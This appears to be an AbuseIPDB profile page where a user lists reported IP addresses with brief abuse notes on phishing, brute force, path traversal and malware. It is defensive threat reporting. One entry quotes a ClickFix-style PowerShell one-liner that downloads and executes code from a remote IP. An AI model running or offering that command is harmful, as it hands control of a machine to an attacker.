User HittSec joined AbuseIPDB in April 2025 and has reported 36 IP addresses.

Standing (weight) is good.

ACTIVE USER
IP Date Comment Categories
🇺🇸 203.55.21.66
Spear phishing.
Phishing
🇳🇱 81.19.208.94
Possible token theft
Brute-Force
🇺🇸 172.67.201.25
Associated with malicious domain aezsmlbaiw[.]qamirotul[.]com
Phishing
🇨🇳 116.231.171.197
Malicious authentication attempts
Brute-Force
🇸🇪 171.25.193.37
WAF Path Traversal.
Hacking
🇺🇸 2a01:111:f403:c10c::1
Malicious sender associated: yforbush@govenetian[.]com
Phishing
🇮🇱 91.90.142.7
Code Injection Attempt
Web App Attack
🇺🇸 204.194.54.240
Path Traversal
Web App Attack
🇸🇪 45.84.107.172
Path Traversal
Web App Attack
🇺🇸 2607:f8b0:4864:20::b12a
Email phish, via broken zoom link to coax user to download separate(malicious) version
Phishing
🇩🇪 94.26.90.111
CLICKFIX style code put into RunMRU: powershell -c "iex(irm '94.26.90.111:6602' -UseBasicParsing)
Hacking
🇺🇸 185.199.109.153
Associated with old phish github repo > hxxps[:]//ejeong12[.]github[.]io
Phishing
🇺🇸 23.11.33.159
Data exfil related to seheq malware.
Hacking
🇨🇳 119.249.100.116
Port Scan
🇺🇸 2a01:111:f403:c105::5
Malicious email with link to malware hosting site.
Email Spam Phishing
🇺🇸 89.249.192.114
Unauthorized access attempt.
Brute-Force
🇺🇸 188.114.96.3
DNS Compromise
🇸🇪 185.41.148.1
Phish email URL: “hxxps[://]cover-canvas-charm[.]lovable[.]app"
Phishing
🇺🇸 209.85.210.179
Email Spam
🇦🇺 203.96.177.124
IP involved in multistage malware event involving redirects via malicious software "pdfeditor"
Hacking
🇮🇹 78.159.206.23
Password spray attempts, Codes: 50,126.
Brute-Force
🇺🇸 74.208.4.197
Phishing
🇺🇸 170.203.26.213
Impersonating header (Matt @ Breeze" <[email protected]>) Phishing email, confirmed.
Phishing
🇩🇪 3.68.51.202
Phishing
🇭🇰 45.38.42.81
Exploited Host
feedback